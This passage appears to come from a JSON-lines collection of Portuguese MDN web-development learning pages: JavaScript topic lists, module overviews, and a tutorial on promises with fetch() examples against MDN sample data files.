variável (ver também Operadores de atribuição)\n* Quais tipos de dados os valores podem ter em JavaScript?\n* O que 'fracamente tipada' significa?\n### Matemática\n\n* Quais tipos de números você tem que lidar no desenvolvimento web?\n* Como você faz matemática básica em JavaScript?\n* Qual a precedência do operador, e como isso é tratado em JavaScript?\n* Como você incrementa e decrementa valores em JavaScript?\n* Como você compara valores em JavaScript? (por exemplo, para ver qual é o maior, ou para ver se um valor é igual ao outro).\n### Strings\n\n* Como você cria uma string em JavaScript?\n* Do you have to use single quotes or double quotes?\n* How do you escape characters in strings?\n* How do you join strings together?\n* Can you join strings and numbers together?\n* How do you find the length of a string?\n* How you find what character is at a certain position in a string?\n* How do you find and extract a specific substring from a string?\n* How do you change the case of a string?\n* How do you replace one specific substring with another?\n### Arrays\n\n* How do you create an array?\n* How do you access and modify the items in an array? (this includes multidimensional arrays)\n* How do you find the length of an array?\n* How you add and remove array items?\n* How do you split a string into array items, or join array items into a string?\n### Debugging JavaScript\n\n* What are the basic types of error?\n* What are browser developer tools, and how do you access them?\n* How do you log a value to the JavaScript console? (en-US)\n* How do you use breakpoints, and other JavaScript debugging features? (en-US)\n\nFor more information on JavaScript debugging, see Handling common JavaScript problems (en-US); also see Other common errors for a description of common errors.\n\n### Making decisions in code\n\n* How do you execute different blocks of code, depending on a variable's value or other condition?\n* How do you use if ...else statements?\n* How do nest one decision block inside another?\n* How do you use AND, OR, and NOT operators in JavaScript?\n* How do you conveniently handle a large number of choices for one condition?\n* How do you use a ternary operator to make a quick choice between two options based on a true or false test?\n### Looping/iteration\n\n* How do you run the same bit of code over and over again?\n* How do you exit a loop before the end if a certain condition is met?\n* How do you skip to the next iteration of a loop if a certain condition is met?\n* How do you use while and do ... while loops?\n* How to iterate over the elements in an array\n* How to iterate over the elements in a multidimensional array\n* How to iterate over the members in an object\n* How to iterate over the members of an object nested inside an array\nIntermediate use cases\n----------------------\n\n### Functions\n\n* How do you find functions in the browser?\n* What is the difference between a function and a method?\n* How do you create your own functions?\n* How do you run (call, or invoke) a function?\n* What is an anonymous function?\n* How do you specify parameters (or arguments) when invoking a function?\n* What is function scope?\n* What are return values, and how do you use them?\n### Objects\n\n* How do you create an object?\n* What is dot notation?\n* What is bracket notation?\n* How do you get and set the methods and properties of an object?\n* What is `this`, in the context of an object?\n* What is object-oriented programming?\n* What are constructors and instances, and how do you create them?\n* What different ways are there to create objects in JavaScript?\n### JSON\n\n* How do you structure JSON data, and read it from JavaScript?\n* How can you load a JSON file into a page?\n* How do you convert a JSON object to a text string, and back again?\n### Eventos\n\n* What are event handlers and how do you use them?\n* What are inline event handlers?\n* What does the `addEventListener()` function do, and how do you use it?\n* Which mechanism should I use to add event code to my web pages?\n* What are event objects, and how do you use them?\n* How do you prevent default event behaviour?\n* How do events fire on nested elements? (event propagation, also related — event bubbling and capturing)\n* What is event delegation, and how does it work?\n### Javascript Orientado a objetos\n\n* Quais são protótipos de objetos?\n* Qual é a propriedade do construtor, e como você pode usa-la?\n* Como você adiciona métodos para o construtor?\n* Como você cria um novo constructor que herda os membros do construtor pai?\n* Quando você deve usar herança em Javascript?\n### Web APIs\n\n* Como você manipula o DOM (por exemplo, adicionando e removendo elementos) usando Javascript?"}
{"title":"JavaScript Assíncrono - Aprendendo desenvolvimento web","text":"JavaScript Assíncrono\n=====================\n\nNeste módulo vamos entender JavaScript Assíncrono, porque isso é importante e como pode ser usado para lidar com operações potencialmente bloqueantes, como a busca de recursos em um servidor remoto.Pre requisitos\n--------------\n\nJavascript Assíncrono é um tópico razoavelmente avançado e é aconselhada a leitura dos módulos Primeiros Passos com Javascript e Elementos construtivos do Javascript antes de continuar.\n\nSe você não estiver familiarizado com os conceitos de programação assíncrona, a sugestão é iniciar com o artigo Conceitos gerais da programação assíncrona desse módulo. Caso contrário, você pode provavelmente pular para o módulo Introdução ao Javascript Assíncrono.\n\n**Nota:** Se você está estudando a partir de um computador/tablet/ outro dispositivo onde não é capaz de criar seus próprios arquivos, é possível executar os códigos de exemplo (a maioria deles) em plataformas como JSBin ou Thimble.\n\nGuias\n-----\n\nConceitos gerais da programação assíncrona\n\nNesse artigo vamos explorar um número de conceitos importantes relacionados à programação assíncrona e como aparece nos browsers Web. Você deve entender estes conceitos antes de seguir adiante através dos outros artigos neste módulo.\n\nIntrodução ao Javascript Assíncrono\n\nNesse artigo vamos recapitular brevemente os problemas associados ao Javascript síncrono e introduzir algumas das diferentes técnicas do Javascript assícrono que irá encontrar mais a frente, mostrando como essas técnicas podem nos ajudar a resolver tais problemas.\n\nJavascript assícrono cooperativo: Timeouts e intervalos\n\nAqui contemplamos os métodos tradicionais que o Javascript possui disponível para executar código de forma assíncrona após decorrido um certo periodo de tempo ou em um intervalo regular (e.g. um determinado número de vezes por segundo), discutir sua utilidade e perceber alguns problemas inerentes a eles.\n\nManipulando elegantemente operações assíncronas com Promises\n\nPromises são um novo recurso da linguagem Javascript que permitem adiar ações até que a ação anterior esteja concluída ou responder com falha. Isso é extremamente útil para montar uma sequência de operações para que funcione corretamente. Este artigo lhe orienta como as Promises funcionam, onde verá elas sendo utilizadas em WebAPIs (en-US). Também aprenderá como escrever suas próprias promises.\n\nFacilitando a programação assícrona com async e await\n\nPromises podem ser um pouco complexas de construir e entender. Por esse motivo, os navegadores modernos implementado funções `async` e o operador `await`. O primeiro permite que funções padrão se comportem implicitamente de forma assíncrona com promises, enquanto que o último pode ser usado dentro de funções `async` para esperar por 'promessas' antes que a função continue. Isso faz com que o encadeamento de 'promessas' seja mais fácil de ler.\n\nEscolhendo a abordagem correta\n\nPara concluir este módulo, vamos considerar as diferentes técnicas de programação e as features que abordamos do começo ao fim, considerando quais e quando utilizar, com recomendações e advertências das armadilhas mais comuns.\n\nVeja Também\n-----------\n\n* Programação Assícrona do livro online Eloquent JavaScript, por Marijn Haverbeke.\n\n**Nota:** **Nota do tradutor**: A segunda edição do *Eloquent Javascript* foi traduzida pela comunidade brasileira do Javascript e está disponível em Javascript Eloquente - 2ª Edição. Até o momento da tradução deste artigo, a comunidade está trabalhando na conclusão da 3ª edição."}
{"title":"Introdução a objetos em Javascript - Aprendendo desenvolvimento web","text":"Introdução a objetos em Javascript\n==================================\n\nEm JavaScript, a maioria das coisas são objetos, desde os principais recursos do JavaScript, como arrays, até o navegador APIs construído sobre o JavaScript. Você pode até mesmo criar seus próprios objetos para encapsular funções e variáveis relacionadas em pacotes eficientes e atuar como contêineres de dados úteis. É importante entender a natureza baseada em objetos do JavaScript se você quiser aprofundar seu conhecimento da linguagem, portanto, fornecemos este módulo para ajudá-lo. Aqui ensinamos a teoria e a sintaxe de objetos em detalhes, depois veremos como criar seus próprios objetos.\n\n#### Quer se tornar um desenvolvedor web front-end?\n\n Reunimos um curso que inclui todas as informações essenciais que você precisa para\n trabalhe em direção ao seu objetivo.\n\n\n**Primeiros passos**\n\nPré-requisitos\n--------------\n\nAntes de iniciar este módulo, você deve ter alguma familiaridade com HTML e CSS. Recomendamos que você trabalhe nos módulos Introduction to HTML e Introduction to CSS antes de começar JavaScript.\n\nVocê também deve ter alguma familiaridade com os fundamentos do JavaScript antes de examinar os objetos JavaScript em detalhes. Antes de tentar este módulo, trabalhe nas primeiras etapas do JavaScript e nos blocos de construção do JavaScript.\n\n**Nota:** Se você estiver trabalhando em um computador/tablet/outros dispositivos nos quais não é possível criar seus próprios arquivos, experimente (a maioria) os exemplos de código em um programa de codificação on-line, como JSBin ou Glitch.\n\nGuias\n-----\n\nNoções básicas de objetos\n\nNo primeiro artigo sobre objetos JavaScript, veremos a sintaxe fundamental do objeto JavaScript e revisitaremos alguns recursos JavaScript que já examinamos anteriormente no curso, reiterando o fato de que muitos dos recursos que você já tratados são de fato objetos.\n\nProtótipos de objetos\n\nProtótipos são o mecanismo pelo qual os objetos JavaScript herdam recursos uns dos outros e funcionam de maneira diferente dos mecanismos de herança em linguagens de programação clássicas orientadas a objetos. Neste artigo, exploramos como funcionam as cadeias de protótipos.\n\nProgramação orientada a objetos (en-US)\n\nNeste artigo, descreveremos alguns dos princípios básicos da programação orientada a objetos \"clássica\" e veremos como ela é diferente do modelo de protótipo em JavaScript.\n\nAulas em JavaScript\n\nJavaScript fornece alguns recursos para pessoas que desejam implementar programas orientados a objetos \"clássicos\" e, neste artigo, descreveremos esses recursos.\n\nTrabalhando com dados JSON\n\nJavaScript Object Notation (JSON) é um formato padrão baseado em texto para representar dados estruturados com base na sintaxe de objeto JavaScript, que é comumente usado para representar e transmitir dados na web (ou seja, enviar alguns dados do servidor para o cliente, para que possa ser exibido em uma página da web). Você o encontrará com bastante frequência, portanto, neste artigo, fornecemos tudo o que você precisa para trabalhar com JSON usando JavaScript, incluindo a análise do JSON para que você possa acessar itens de dados dentro dele e escrever seu próprio JSON.\n\nPrática de construção de objetos\n\nEm artigos anteriores, examinamos toda a teoria essencial de objetos JavaScript e detalhes de sintaxe, fornecendo uma base sólida para começar. Neste artigo, mergulhamos em um exercício prático, dando a você um pouco mais de prática na construção de objetos JavaScript personalizados, que produzem algo divertido e colorido — algumas bolas saltitantes coloridas.\n\nAvaliações\n----------\n\nAdicionando recursos à nossa demonstração de bolas quicando\n\nNesta avaliação, espera-se que você use a demonstração de bolas saltitantes do artigo anterior como ponto de partida e adicione alguns recursos novos e interessantes a ela.\n\nVeja também\n-----------\n\nAprenda JavaScript\n\nUm excelente recurso para aspirantes a desenvolvedores web — Aprenda JavaScript em um ambiente interativo, com lições curtas e testes interativos, guiados por avaliações automatizadas. As primeiras 40 aulas são gratuitas e o curso completo está disponível por um pequeno pagamento único."}
{"title":"APIs web do lado cliente - Aprendendo desenvolvimento web","text":"APIs web do lado cliente\n========================\n\nSe você decidir usar JavaScript no lado do cliente para sites ou aplicativos, você rapidamente vai se deparar com as **APIs** - interfaces para manipular diferentes aspectos do navegador e do sistema operacional em que o site está sendo executado, ou mesmo dados de outros sites ou serviços. Neste módulo, descobriremos o que são APIs, e como usar algumas das APIs mais comuns, que serão úteis no seu trabalho de desenvolvimento.\n\nPré-requisitos\n--------------\n\nPara tirar o máximo proveito deste módulo, é recomendável a leitura dos módulos anteriores de JavaScript da série (Primeiros passos, Construindo blocos, e Objetos javaScript). Esses módulos envolvem bastante uso de API simples, e não é facil escrever exemplos Javascript do lado do cliente sem eles. Aqui, subimos um nível, assumindo o conhecimento da linguagem core JavaScript e explorando as APIs comuns da Web com um pouco mais de detalhes.\n\nConhecimento básico de HTML e CSS serão utéis.\n\n**Nota:** **Notes** Se você estiver trabalhando de um dispositivo que não permita a criação de arquivos. Você pode tentar editar os arquivos em um editor online como JSBin ou Thimble.\n\nGuias\n-----\n\nIntrodução a APIs para a web\n\nPrimeiro, vamos começar com apis de alto nível — o que elas são, como elas funcionam, quando usar no seu código, como elas são estruturadas? Nós veremos diferentes tipos de classses principais e o que elas são, e quais são as possibilidades de uso.\n\nManipulando documentos\n\nQuando estiver codificando páginas da web ou aplicações, uma das coisas mais comuns que você irá fazer será manipular documentos da web de alguma forma. Normalmente isso é feito usando o Document Object Model (DOM), um conjunto de APIs para controlar o HTML e a informação sobre os estilos que usa fortemente o objeto `Document`. Neste artigo vamos ver como usar o DOM em detalhes, juntamente com outras APIs interessantes que podem alterar seu ambiente de desenvolvimento de modos interessantes.\n\nBuscando dados do servidor\n\nOutra tarefa muito comum em websites modernos e aplicações é recuperar dados individuais de um servidor para atualizar partes de uma página sem ter que recarregar uma página inteira novamente. Este aparentemente pequeno detalhe tem tido um impacto enorme sobre o desempenho e comportamento de websites, desse modo neste artigo, vamos explicar esse conceito, e observar as tecnologias que tornam isso possível, tais como `XMLHttpRequest` e o Fetch API.\n\nThird party APIs (en-US)\n\nThe APIs we've covered so far are built into the browser, but not all APIs are. Many large websites and services such as Google Maps, Twitter, Facebook, PayPal, etc. provide APIs allowing developers to make use of their data (e.g. displaying your twitter stream on your blog) or services (e.g. displaying custom Google Maps on your site, or using Facebook login to log in your users). This article looks at the difference between browser APIs and 3rd party APIs and shows some typical uses of the latter.\n\nDrawing graphics (en-US)\n\nThe browser contains some very powerful graphics programming tools, from the Scalable Vector Graphics (SVG) language, to APIs for drawing on HTML `<canvas>` elements, (see The Canvas API and WebGL). Ths article provides an introduction to the Canvas API, and further resources to allow you to learn more.\n\nVideo and audio APIs (en-US)\n\nHTML5 comes with elements for embedding rich media in documents — `<video>` and `<audio>` — which in turn come with their own APIs for controlling playback, seeking, etc. This article shows you how to do common tasks such as creating custom playback controls.\n\nClient-side storage\n\nModern web browsers feature a number of different technologies that allow you to store data related to web sites and retrieve it when necessary allowing you to persist data long term, save sites offline, and more. This article explains the very basics of how these work."}
{"title":"Primeiros passos com JavaScript - Aprendendo desenvolvimento web","text":"Primeiros passos com JavaScript\n===============================\n\nEm nosso primeiro módulo de JavaScript, vamos responder algumas questões fundamentais como \"o que é JavaScript?\", \"com o que se parece?\", e \"o que ele pode fazer?\", antes de levá-lo a sua primeira experiência em escrever JavaScript. Depois disso, vamos discutir em detalhes algumas peças chaves, como variáveis, cadeias de caracteres (*strings*), números (*numbers*) e matrizes (*arrays*).\n\nPré-requisitos\n--------------\n\nAntes de iniciar esse módulo, você não precisa de nenhum conhecimento prévio de JavaScript, mas você deve ter alguma familiaridade com HTML e CSS. Te recomendamos a estudar os seguintes módulos antes de começar com o JavaScript:\n\n* Iniciando com a Web (o que inclui uma introdução rápida ao JavaScript)\n* Introdução ao HTML\n* Introdução ao CSS\n\n**Nota:** Se você está trabalhando em um computador/tablet/outro dispositivo onde você não pode criar os seus próprio arquivos, você pode experimentar (em sua maioria) os códigos de exemplo em um programa de codificação online como JSBin ou Thimble.\n\nGuias\n-----\n\nO que é JavaScript?\n\nBem vindo ao curso para iniciantes em JavaScript do MDN! No primeiro artigo nós visualizaremos o JavaScript de uma perspectiva de alto nível, respondendo a questões como \"o que é?\" e \"o que ele pode fazer?\", permitindo-lhe entender confortavelmente o objetivo do JavaScript.\n\nUm primeiro mergulho no JavaScript\n\nAgora que você tem uma noção teórica do JavaScript e o que você pode fazer com ele, nós vamos lhe dar um curso intensivo sobre as funcionalidades básicas do JavaScript através de um tutorial completamente prático. Aqui você ira construir, passo a passo, um jogo simples de \"Advinhe o número\".\n\nO que deu errado? Solucionando problemas em JavaScript\n\nQuando você construiu o jogo \"Adivinhe o número\" no artigo anterior, talvez tenha notado que ele não funcionou. Nunca tema — este artigo visa preservá-lo de ter que arrancar seus cabelos devido a esses problemas por prover-lhe alguns exemplos simples de como consertar erros em programas JavaScript.\n\nArmazenando a informação necessária — Variáveis\n\nApós ler os últimos artigos, você agora deve saber o que é o JavaScript, o que ele pode fazer para você, como usa-lo junto a com outras tecnologias web, e como sua funcionalidade principal se parece de um alto nível. Nesse artigo nós vamos ver o que é realmente básico, vendo como trabalhar com os mais básicos blocos de construção do JavaScript — Variáveis.\n\nMatemática básica com JavaScript — números e operadores\n\nNesse ponto do curso nós iremos discutir matemática no JavaScript — como nós combinamos operadores e outras funcionalidades para manipular números para fazer nosso comando.\n\nManuseando textos — cadeia de caracteres (strings) em JavaScript\n\nEm seguida nós colocaremos nossa atenção em strings — isso é como pedaços de texto são chamados na programação. Nesse artigos nós vamos ver todas as coisas comuns que você realmente deve saber sobre strings quando estiver aprendendo JavaScript, como criar strings, manusear aspas nas strings, e juntando elas.\n\nMétodos úteis sobre cadeias de caracteres (strings)\n\nAgora nós vemos o mais básico sobre strings, vamos começar a pensar sobre quais operações úteis nós podemos fazer com elas com os metótos internos, como por exemplos encontrar o tamanho do texto em uma strings, juntar e separar strings, substrituir um caractere de uma string e mais.\n\nMatrizes\n\nNo artigo final desse módulo, nós iremos ver matrizes (arrays) — um jeito fácil de armazenar lista de dados em apenas um nome de variável. Aqui nós veremos o por quê disso ser útil, então exploraremos como criar uma matriz, retornar seus dados, adicionar e remover itens armazenas em um array, e mais além disso.\n\nAvaliação\n---------\n\nA avaliação seguinte vai testar o que você entendeu sobre o básico de JavaScript coberto pelos guias acima.\n\nGerador de histórias bobas\n\nNessa avaliação você será a desafiado a usar seu conhecimento adquirido nesse módulo e aplicará criando um divertido aplicativo que gerará histórias bobas aleatórias. Divirta-se."}
{"title":"Como usar Promises - Aprendendo desenvolvimento web","text":"Como usar Promises\n==================\n\n* Anterior\n* Menu: Asynchronous\n* Próxima\n\n**Promises** são a base da programação assíncrona moderna em JavaScript. Uma promise é um objeto retornado por uma função assíncrona, que representa o estado atual da operação. No momento em que a promise é retornada para quem à chamou, a operação muitas vezes ainda não foi finalizada, mas o objeto da promise oferece métodos para tratar o possível sucesso ou falha da operação.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimentos básicos em informática, um básico entendimento do\n JavaScript e seus fundamentos.\n  |\n| Objetivo: | Entender promises e como elas funcionam. |\n\nNo último artigo falamos sobre o uso de callbacks para implementar funções assíncronas. Com esse design, você chama a função assíncrona, passando sua função de callback como parâmetro. A função executa imediatamente e chama seu callback quando a operação é finalizada.\n\nCom uma API baseada em promises, a função assíncrona inicia a operação e retorna o objeto `Promise`. Você pode então anexar manipuladores nesse objeto, e esses manipuladores vão ser executados quando a operação tiver sucesso ou falhar.\n\nUsando a API fetch()\n--------------------\n\n**Nota:** Neste artigo, vamos explorar promises copiando exemplos de código desta página dentro do console Javascript do seu navegador. Para configurar isso:\n\n1. abra o navegador e visite https://example.org\n2. nesta aba, abra o console Javascript nas ferramentas de desenvolvimento do navegador\n3. quando mostrarmos um exemplo, copie-o dentro do console. Você vai ter que recarregar a página cada vez que você começar um novo exemplo, caso contrário o console irá reclamar que você redeclarou a função `fetchPromise`.\n\nNeste exemplo, vamos baixar o seguinte arquivo JSON https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json e registrar algumas informações sobre ele.\n\nPara isso, vamos fazer uma **Requisição HTTP** para o servidor. Em uma requisição HTTP, enviamos uma solicitação para o servidor e ele nos envia uma resposta de volta. Neste caso, vamos enviar uma solicitação para obter um arquivo JSON do servidor. Relembre o último artigo, onde fizamos requisições HTTP usando a API `XMLHttpRequest`? Bem, neste artigo, usaremos a API `fetch()`, que é a substituição moderna baseada em promise para XMLHttpRequest.\n\nCole o seguinte código no console do seu navegador:\n\n\n```js\nconst fetchPromise = fetch(\n  \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json\",\n);\n\nconsole.log(fetchPromise);\n\nfetchPromise.then((resposta) => {\n  console.log(`Resposta recebida: ${resposta.status}`);\n});\n\nconsole.log(\"Requisição iniciada…\");\n```\n\n\nAqui estamos:\n\n1. chamando a API `fetch()`, e atribuindo o valor de retorno a variável `fetchPromise`.\n2. imediatamente depois, exibimos no console a variável `fetchPromise`. Você deve ver algo parecido com: `Promise { <state>: \"pending\" }`, nos dizendo que temos um objeto `Promise`, ele tem uma propriedade `state` cujo valor no momento em que foi impresso é `\"pending\"` (`\"pendente\"`). O estado `\"pending\"` significa que a busca pela resposta ainda está ocorrendo.\n3. passando uma função manipuladora dentro do método da Promise **`then()`**. Quando (e se) a operação de busca tiver exito a Promise vai chamar a função manipuladora, passando um objeto `Response`, que contém a resposta do servidor.\n4. imprimindo um log dizendo que iniciamos a requisição.\n\nA saída completa deve ser algo parecido com:\n```\n\nPromise { <state>: \"pending\" }\nRequisição iniciada…\nResposta recebida: 200\n```\n\n\nNote que `Requisição iniciada…` foi exibido antes de recebermos a resposta. Diferente de uma função síncrona, `fetch()` retorna enquanto a requisição ainda está ocorrendo, permitindo que nosso programa permaneça ágil. A resposta mostra o status code `200` (OK), que significa que nossa requisição obteve sucesso.\n\nEsse exemplo provavelmente se parece muito com o exemplo do último artigo, onde adicionamos manipuladores de eventos ao objeto `XMLHttpRequest`. Em vez disso, passamos um manipulador dentro do método `then()` da promise retornada.\n\nEncadeamento de promises\n------------------------\n\nCom a API `fetch()`, depois de obter um objeto `Response`, você precisa chamar outra função para obter os dados de resposta. Neste caso, queremos obter os dados de resposta como JSON, então chamaríamos o método `json()` (en-US) do objeto `Response`. Acontece que `json()` também é assíncrono. Portanto, este é um caso em que temos que chamar duas funções assíncronas sucessivas.\n\nTente isso:\n\n\n```js\nconst fetchPromise = fetch(\n  \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json\",\n);\n\nfetchPromise.then((response) => {\n  const jsonPromise = response.json();\n  jsonPromise.then((data) => {\n    console.log(data[0].name);\n  });\n});\n```\n\n\nNeste exemplo, como antes, adicionamos um manipulador `then()` à promise retornada por `fetch()`. Mas desta vez, nosso manipulador chama `response.json()`, e então passa um novo manipulador `then()` para a promise retornada por `response.json()`.\n\nIsso deve registrar \"baked beans\" (o nome do primeiro produto listado em \"products.json\").\n\nMas espere! Lembra do último artigo, onde dissemos que ao chamar um callback dentro de outro callback, obtínhamos sucessivamente mais níveis de código aninhados? E dissemos que esse \"inferno de callback\" tornava nosso código difícil de entender? Isso não é exatamente o mesmo, apenas com chamadas `then()`?\n\nSim, claro. Mas a característica elegante das promises é que o próprio *`then()` retorna uma promise, que será completada com o resultado da função passada para ela*. Isso significa que podemos (e certamente devemos) reescrever o código acima assim:\n\n\n```js\nconst fetchPromise = fetch(\n  \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json\",\n);\n\nfetchPromise\n  .then((response) => response.json())\n  .then((data) => {\n    console.log(data[0].name);\n  });\n```\n\n\nEm vez de chamar o segundo `then()` dentro do manipulador para o primeiro `then()`, podemos *retornar* a promise retornada por `json()` e chamar o segundo `then()` nesse valor de retorno. Isso é chamado de **encadeamento de promises** e significa que podemos evitar níveis cada vez maiores de indentação quando precisamos fazer chamadas de função assíncronas consecutivas.\n\nAntes de passarmos para a próxima etapa, há mais uma peça a ser adicionada. Precisamos verificar se o servidor aceitou e foi capaz de lidar com a solicitação antes de tentarmos lê-la. Faremos isso verificando o código de status na resposta e lançando um erro se não estiver \"OK\":\n\n\n```js\nconst fetchPromise = fetch(\n  \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json\",\n);\n\nfetchPromise\n  .then((response) => {\n    if (!response.ok) {\n      throw new Error(`HTTP error: ${response.status}`);\n    }\n    return response.json();\n  })\n  .then((data) => {\n    console.log(data[0].name);\n  });\n```\n\nCapturando errors\n-----------------\n\nIsso nos leva à última parte: como lidamos com os erros? A API `fetch()` pode lançar um erro por vários motivos (por exemplo, porque não havia conectividade de rede ou a URL estava malformada de alguma forma) e estamos lançando um erro nós mesmos se o servidor retornar um erro.\n\nNo último artigo, vimos que o tratamento de erros pode ser muito difícil com callbacks aninhados, fazendo com que tratemos erros em todos os níveis de aninhamento.\n\nPara suportar o tratamento de erros, os objetos `Promise` fornecem um método `catch()`. Que é muito parecido com `then()`: você chama e passa uma função manipuladora. No entanto, enquanto o manipulador passado para `then()` é chamado quando a operação assíncrona *é bem-sucedida*, a função manipuladora passado para `catch()` é chamado quando a operação assíncrona *falha*.\n\nSe você adicionar `catch()` ao final de uma cadeia de promises, ela será chamada quando qualquer uma das chamadas de função assíncrona falhar. Assim, você pode implementar uma operação como várias chamadas de função assíncronas consecutivas e ter um único local para lidar com todos os erros.\n\nExperimente esta versão do nosso código `fetch()`. Adicionamos um manipulador de erros usando `catch()` e também modificamos a URL para que a solicitação falhe.\n\n\n```js\nconst fetchPromise = fetch(\n  \"bad-scheme://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json\",\n);\n\nfetchPromise\n  .then((resposta) => {\n    if (!resposta.ok) {\n      throw new Error(`HTTP error: ${resposta.status}`);\n    }\n    return resposta.json();\n  })\n  .then((data) => {\n    console.log(data[0].name);\n  })\n  .catch((error) => {\n    console.error(`Não foi possível obter os produtos: ${error}`);\n  });\n```\n\n\nTente executar esta versão: você deve ver o erro registrado pelo manipulador passado para `catch()`.\n\nTerminologia da promise\n-----------------------\n\nAs promises vêm com uma terminologia bastante específica sobre a qual vale a pena esclarecer.\n\nPrimeiro, uma promise pode estar em um dos três estados:\n\n* **pending**: a promise foi criada e a função assíncrona à qual está associada não foi concluída com sucesso ou falhou ainda. Este é o estado em que sua promise está quando é retornada de uma chamada para `fetch()`, e a solicitação ainda está sendo feita.\n* **fulfilled**: a função assíncrona foi concluída com sucesso. Quando uma promise é *fulfilled*, seu manipulador `then()` é chamado.\n* **rejected**: a função assíncrona falhou. Quando uma promise é *rejected*, seu manipulador `catch()` é chamado.\n\nObserve que o significado de \"sucesso\" ou \"falha\" aqui depende da API em questão: por exemplo, `fetch()` considera uma solicitação que foi concluída com sucesso se o servidor retornar um erro como 404 Not Found, mas não se um erro de rede impediu o envio da solicitação.\n\nÀs vezes, usamos o termo **settled** para cobrir tanto **fulfilled** quanto **rejected**.\n\nUma promise é **resolved** se for resolvida ou se tiver sido \"bloqueada\" para seguir o estado de outra promise.\n\nO artigo Let's talk about how to talk about promises dá uma ótima explicação dos detalhes desta terminologia.\n\nCombinando múltiplas promises\n-----------------------------\n\nA cadeia de promises é o que você precisa quando sua operação consiste em várias funções assíncronas e você precisa que cada uma seja concluída antes de iniciar a próxima. Mas existem outras maneiras de combinar chamadas de funções assíncronas, e a API `Promise` fornece alguns auxiliares para elas.\n\nÀs vezes, você precisa que todas as promises sejam cumpridas, mas elas não dependem umas das outras. Em um caso como esse, é muito mais eficiente iniciá-los todos juntos e ser notificado quando todos forem cumpridos. O método `Promise.all()` é o que você precisa aqui. Recebe um array de promises e retorna uma única promise.\n\nA promise retornada por `Promise.all()` é:\n\n* **fulfilled** quando e se *todas* as promises no array forem cumpridas. Nesse caso, o manipulador `then()` é chamado com uma matriz de todas as respostas, na mesma ordem em que as promises foram passadas para `all()`.\n* **rejected** quando e se *qualquer* uma das promises no array for rejeitada. Neste caso, o manipulador `catch()` é chamado com o erro lançado pela promise rejeitada.\n\nPor exemplo:\n\n\n```js\nconst fetchPromise1 = fetch(\n  \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json\",\n);\nconst fetchPromise2 = fetch(\n  \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/not-found\",\n);\nconst fetchPromise3 = fetch(\n  \"https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json\",\n);\n\nPromise.all([fetchPromise1, fetchPromise2, fetchPromise3])\n  .then((responses) => {\n    for (const response of responses) {\n      console.log(`${response.url}: ${response.status}`);\n    }\n  })\n  .catch((error) => {\n    console.error(`Falha ao buscar: ${error}`);\n  });\n```\n\n\nAqui, estamos fazendo três requisições `fetch()` para três URLs diferentes. Se todas forem concluídas com sucesso, vamos imprimir no console o status da resposta de cada uma. Se qualquer uma falhar, imprimiremos o objeto de erro capturado por `.catch()`.\n\nCom as URLs que fornecemos, todos as requisições devem ser conluídas com sucesso, embora para a segunda, o servidor retornará `404` (Not Found) em vez de `200` (OK) porque o arquivo solicitado não existe. Então a saída deve ser:\n```\n\nhttps://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json: 200\nhttps://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/not-found: 404\nhttps://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json: 200\n```\n\n\nSe tentarmos o mesmo código com uma URL mal formada, assim:\n\n\n```js\nconst fetchPromise1 = fetch(\n  \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json\",\n);\nconst fetchPromise2 = fetch(\n  \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/not-found\",\n);\nconst fetchPromise3 = fetch(\n  \"bad-scheme://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json\",\n);\n\nPromise.all([fetchPromise1, fetchPromise2, fetchPromise3])\n  .then((responses) => {\n    for (const response of responses) {\n      console.log(`${response.url}: ${response.status}`);\n    }\n  })\n  .catch((error) => {\n    console.error(`Falha ao buscar: ${error}`);\n  });\n```\n\n\nEntão podemos esperar que o manipulador `catch()` seja executado, e devemos ver algo como:\n```\n\nFailed to fetch: TypeError: Failed to fetch\n```\n\n\nÀs vezes, você pode precisar de qualquer uma de um conjunto de promises a serem cumpridas e não se importa com qual delas. Nesse caso, você deseja `Promise.any()` (en-US). Isso é como `Promise.all()`, exceto que é concluída com sucesso assim que qualquer uma das promises for concluída com sucesso, ou rejeitada se todas forem rejeitadas:\n\n\n```js\nconst fetchPromise1 = fetch(\n  \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/products.json\",\n);\nconst fetchPromise2 = fetch(\n  \"https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/not-found\",\n);\nconst fetchPromise3 = fetch(\n  \"https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json\",\n);\n\nPromise.any([fetchPromise1, fetchPromise2, fetchPromise3])\n  .then((response) => {\n    console.log(`${response.url}: ${response.status}`);\n  })\n  .catch((error) => {\n    console.error(`Falha ao buscar: ${error}`);\n  });\n```\n\n\nObserve que, nesse caso, não podemos prever qual solicitação de busca será concluída primeiro.\n\nEstas são apenas duas das funções extras `Promise` para combinar várias promises. Para saber mais sobre o restante, consulte a documentação de referência `Promise`.\n\nasync e await\n-------------\n\nA palavra-chave `async` oferece uma maneira mais simples de trabalhar com código assíncrono baseado em promise. Adicionar `async` no início de uma função a torna uma função assíncrona:\n\n\n```js\nasync function myFunction() {\n  // Esta é uma função assíncrona\n}\n```\n\n\nDentro de uma função assíncrona, você pode usar a palavra-chave `await` antes de uma chamada para uma função que retorna uma promise. Isso faz com que o código espere nesse ponto até que a promise seja liquidada, ponto em que o valor cumprido da promise é tratado como um valor de retorno ou o valor rejeitado é lançado.\n\nIsso permite que você escreva código que usa funções assíncronas, mas se parece com código síncrono. Por exemplo, poderíamos usá-lo para reescrever nosso exemplo de busca:\n\n\n```js\nasync function fetchProducts() {\n  try {\n    // após esta linha, nossa função irá esperar que a chamada `fetch()` seja resolvida\n    // a chamada `fetch()` retornará 